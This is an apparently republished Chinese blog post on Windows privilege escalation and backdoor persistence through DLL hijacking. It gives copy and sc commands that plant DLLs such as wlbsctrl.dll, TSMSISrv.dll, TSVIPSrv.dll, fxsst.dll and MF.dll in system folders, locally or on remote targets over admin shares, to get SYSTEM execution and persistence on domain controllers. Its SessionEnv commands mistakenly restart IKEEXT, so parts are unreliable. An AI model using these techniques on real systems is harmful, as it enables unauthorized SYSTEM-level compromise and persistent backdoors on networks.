admin管理员组文章数量:1637856
CATALOG
- 前言
- 操作过程
- 1.利用wlbsctrl.dll提权
- 2.利用TSMSISrv.dll和TSVIPSrv.dll提权
- 3.实现后门
- 查考文章
前言
今天看了一篇文章,发现文章中的利用方法只能在win7上使用,无法在win10上使用,特做记录。
实现效果:
得到后门执行并得到system权限。
操作过程
1.利用wlbsctrl.dll提权
IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll,但Windows系统默认配置下该dll不存在,如果我们将自己的dll放在这个位置,在服务启动时就能加载该dll.
先下载恶意dll到本地,然后将其挪到C:\Windows\System32\并命名为wlbsctrl.dll:
参考命令如下:
copy calc_x64.dll C:\Windows\System32\wlbsctrl.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT
远程执行:
copy calc_x64.dll \\TARGET\C$\Windows\System32\wlbsctrl.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
2.利用TSMSISrv.dll和TSVIPSrv.dll提权
SessionEnv(Remote Desktop Configuration)服务在启动时会加载C:\Windows\System32\TSMSISrv.dll和C:\Windows\System32\TSVIPSrv.dll,但Windows系统默认配置下这两个dll不存在,如果我们将自己的dll放在这个位置,在服务启动时就能加载该dll,
启动SessionEnv服务方法为sc start IKEEXT。
利用命令:
copy calc_x64.dll C:\Windows\System32\TSMSISrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT
或者
copy calc_x64.dll C:\Windows\System32\TSVIPSrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT
远程执行的用法:
copy calc_x64.dll \\TARGET\C$\Windows\System32\TSMSISrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
或者
copy calc_x64.dll \\TARGET\C$\Windows\System32\TSVIPSrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
3.实现后门
如果系统开启了远程桌面的功能(支持远程连接到此计算机),就会开启SessionEnv(Remote Desktop Configuration)服务,如果我们在C:\Windows\System32\下写入TSMSISrv.dll或TSVIPSrv.dll,就能在服务启动时加载该dll,实现代码执行。
应用场景:
获得域控制器文件的远程访问权限,但无法远程执行命令.
1.如果域控制器未开启远程桌面的功能,在系统启动时劫持Explorer.exe对fxsst.dll的加载
写入文件C:\Windows\fxsst.dll
2.如果域控制器开启了远程桌面的功能,在系统启动时将开启SessionEnv服务,加载TSMSISrv.dll或TSVIPSrv.dll
写入文件C:\Windows\System32\TSMSISrv.dll或C:\Windows\System32\TSMSISrv.dll
3.如果域控制器开启了远程桌面的功能,在用户进行远程桌面连接时将会加载MF.dll
实际测试:
测试环境: Server2012R2 x64
写入文件C:\Windows\System32\MF.dll,命令如下:
copy calc_x64.dll C:\Windows\System32\MF.dll
查考文章
《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展
版权声明:本文标题:win7提权system与后门 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1725622706a1033306.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论